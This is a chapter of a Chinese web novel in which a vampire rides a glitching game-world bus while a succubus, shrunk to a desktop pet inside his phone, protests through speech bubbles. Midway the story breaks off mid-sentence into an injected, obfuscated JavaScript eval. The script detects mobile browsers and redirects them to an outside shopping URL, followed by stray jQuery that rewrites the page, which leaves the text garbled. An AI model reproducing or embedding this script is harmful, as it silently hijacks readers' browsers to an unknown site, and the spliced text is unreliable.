坚硬的材质仿佛在顷刻间化作了水平面。


    霜白语的伤口淌出的那滴血顺利地渗入手机屏幕，转瞬消失不见。


    原本处在昏睡状态的凛华感知到熟悉的气息，无意识抓取血液并将其迅速地吸收。


    蜷缩成一团的桌宠展开了身体，小小一截躯壳在飞速地进行着修补变化。


    他陡然掀起眼皮，天光招摇地撞入眼中，无数碎片化的记忆跟着在脑海中复苏。


    不久前，在霜白语走后，游乐场那场存在于过去的大火重新肆虐席卷。


    他被规则定在原地无法抽身，橙黑色的火焰受风鼓吹，火苗朝着四面八方翻涌。


    凛华冷眼瞧着这一切，他感受不到火舌舔舐而来的温度，哪怕他真切地听见了周围人的哀嚎。


    无形的屏障隔开了凛华与这场大火，一直到它吞没周围的所有人和物。在本该面目全非的时候再度重启，一遍接着一遍地上演同样的画面，仿佛没有结束的那一刻。


    好无聊，凛华想。他本就是从地狱应召来到人间的恶鬼，他人的死牵动不了丝毫情绪。何况这些人死于因果循环也无休止地活在因果循环中，早已成为非人的存在。


    也就霜白语会因为一个死去的人为难，还牵连他短暂地被困在这里。


    凛华从恢复正常运行的游乐场中心广场走过，他在找回去的路，结果走到一半碰到了等在一边的埃斯特。


    他们大概有过交谈，再后来的事情凛华记不太清了。


    等重新恢复意识，他感觉自己在一片纯白的空房子里，透过窗口看清了在外面的霜白语。


    凛华一愣，似乎没想明白怎么双眼一闭一睁，他就直接看到饲主站在面前了。


    但是既然都已经出来了，怎么出来的不重要了。


    刚好有笔账要和对方算一下，凛华拾掇着自己，精神抖擞地往前迈步，准备好好跟人谈会天。没等他走两步，先撞上了透明玻璃。


    凛华捂住脸蹲下去。


    他似乎意识到了哪里不对，撞上玻璃前，他还是正常的体型，可现在看来他似乎手短脚也短的。


    ……缩小了？！


    凛华曲起手指叩了叩面前的玻璃。


    外面的霜白语似乎听见了响声，垂眼和他达成了对视。


    等等，垂眼，怎么感觉自己这个需要仰视的视角不太合理。


    霜白语瞧见屏幕里的凛华惊愕的目光，感觉心情莫名好了不少。对方正托起一个巨大的问号，质疑此刻的处境。


    他要是对着手机一通解释会显得可疑又可笑，而且他们也没关系好到需要跟对方解释某件事发生的前因后果的程度。


    霜白语欣赏了一会屏幕中魅魔的气急败坏，感觉手有点痒。


    果然，任何东西的小时候或者缩小版和正常形态对比都能衬托得更顺眼。


    霜白语决定顺从本心。他像每一个无聊在玩手机的人那样，点住屏幕中的桌宠凛华，手指上移划到屏幕的最上方，再松开让他自由落体。


    桌宠凛华毫无还手之力地被揪住了衣领子，身体腾空瞬间他想到的是初见时候，对方不管不顾地抓起他就上天。


    现在徒留他一人被吊着领脖子，手忙脚乱地晃着短短的四肢在空中挣扎。失衡感比以往任何时候来得都强烈。


    凛华感觉得很清楚，对方是用一根手指轻松拽起的他，在联想到那个透明玻璃。他现在难不成住在霜白语手机里面吗？


    该死，闻所未闻的情况。起码霜白语不可能做到这一点，对方只是吸血鬼，并不是巫师。而他更不该是什么见鬼的电子宠物。


    眼看着对方罪恶的手指第二次点向屏幕，凛华双手叠在身前比了个巨大的叉，疯狂地对霜白语进行着抗拒输出。


    在霜白语视角，并听不见凛华的声音，只能从他头顶不断冒出的气泡框判断对方确实气急败坏到原地跳脚了。


    他的心情因此变得更好，甚至盖过了最开始知晓自己还在游戏世界，并与凛华强行绑定这个消息。


    对讨厌的人拥有绝对掌控力的感觉并不糟糕，反正现在的他不抵触就是了。


    至于凛华的心情，并不在霜白语的考虑范畴中。


    霜白语目前正等候在公交站台，在埃斯特离开后不久，他周围的景象彻底发生了变化，一条路直通到底的场景变成了宽阔的马路。游乐场消失不见，但和它曾经在一条视觉线上的摩天轮依旧存在。


    比起在游乐场远远看到时的一剪缩影，它高耸在路边绿化带之后。


    显然霜白语从公共娱乐设施的内部挪到了距离摩天轮更近的外部，它就像一个显眼指向地标，告诉他自己仍然处在以小镇为故事发展蓝本的游戏中。


    不止通关标准，连主线都需要霜白语摸索的游戏。公共汽车从马路那边慢慢吞吞地过来，司机戴着口罩和墨镜，谢绝与任何乘客达成视线交汇。


    霜白语踩上台阶，先将目光放向车门附近，没有寻常投币或者刷卡的机器。他又看了眼司机，对方像拟定好的程序，按下关门按键后直视前方，单手握方向盘等待着霜白语落座发车。


    青年挑了个靠近后门口左侧近窗的位子，刚坐下就感觉到代步工具缓缓启动。


    他拿出手机看了眼时间，缓缓补上之前思考的后续。估计这又是个不够完整的半成品，而他比起玩家这类定位，更像是一个程序测试员，代替他们深入游戏中观测。


    窗外的风景正常地向后退去，又于某个眨眼的瞬间，好似信号不稳产生的像素块一格一格地占据着外部景色。


    霜白语收回外眺的目光，看向相对封闭空间内的变化。猩红的字体在车厢最前面来回滚动，显示着下一站的名字和车内的气温。


    视觉污染很重的像素格间隔几秒在车厢内闪烁，除此之外，并无想象中的其他异常。车辆还在正常行驶，司机和其他乘客也没有突然变异，一切都维持着最初的模样，只除了这空间像是中了某种游戏病毒，急需故障排查。


    手机屏幕在没任何触碰前提


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17414842|200467||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下亮起，待在里面的魅魔又在疯狂吐气泡框。


    挤挤挨挨一个接一个的文字框悬浮在凛华头顶。


    见霜白语只是瞥了他一眼就挪开了视线，他叉着腰左右张望了一番，挥挥手打散了那些飘在空中的气泡框，一个硕大的惊叹号出现在他脑壳边。


    可惜依旧在被无视。


    凛华沿着屏幕边缘开始攀爬，登顶时踩着某个桌面图标盘腿坐下，他一只手贴着屏幕，另一只手虚握成拳对着透明玻璃好一通敲击。


    他的饲主终于舍得将注意力集中到他身上。凛华整个身体都趴在那个图标上，力求把怀里这玩意的存在感放到最大，他拍着图标的边缘，示意霜白语点。


    霜白语指尖挪到图标上方，但并没有像凛华想得那样干脆利落地点下来，而是悬停了两三秒之久。


    似乎在考量话语的可信程度。


    凛华：“……”


    还是他，但终究跳脚版：“都什么时候了，你到底在提防什么！我们现在是一条绳上的蚂蚱，我都住在你手机里了，这可是手机——现代年轻人不容侵犯的私密物品之一。你要是噶了，我这临时住处不就是个解不了密码锁的板砖。”


    以上这段话被分割成无数不带标点的短字句，气泡框撞上屏幕的边缘掉落下来，密密麻麻直接遮挡住了凛华的身形。


    霜白语倒也不是不相信他，只是在思索这个突兀出现在他手机里的图标又会是怎样一个陷阱。


    放更久之前，他会毫不犹豫地点下去，但经历过游乐场事件后，霜白语意识到自己的运气正一路走低，即将成为如假包换的一枚非酋。


    凛华露出被挑衅的龇牙表情，他从趴在图标上的姿势起身，猛地一个原地起跳。在落地瞬间，图标被他从手机内部激活。


    某种启停的信号以霜白语的手机为原点，迅速向四面八方辐射出去。周围的异象在不可见的波幅中恢复到最初的模样，仿佛之前随时会崩坏的世界只是霜白语休息不够产生的错觉。


    青年的目光终于长久地落在屏幕里的桌宠身上。


    凛华歪着脑袋，得意地双手叉腰，一幅恶作剧成功的模样。


    哪怕霜白语按灭了手机屏幕，他也能实现自唤醒功能，然后发挥前所未有的聒噪本领，将文字框堆满整个屏幕。


    脏了。霜白语脑中唯独这么一个念头冲出重围，他的手机里现在全是凛华留下的痕迹，满满的赛博垃圾。以对方桌宠状态的话密程度，感觉他每天都需要清理十遍临时缓存。


    更重要的一点，他需要确定对方在他手机里自如活动的权限来自哪里，能达到怎样的控制程度，又是以何种规律达成的增长。


    霜白语可以确认在最开始时，凛华还做不到越过他，擅自对手机发出指令这种事。


    叩叩。


    凛华又一次敲响了屏幕，他指向刚才点过的手机图标，再次示意霜白语点击。


    这一次，他还贴心地附赠了一个气泡框：你不会乐见我再代替你做决定的。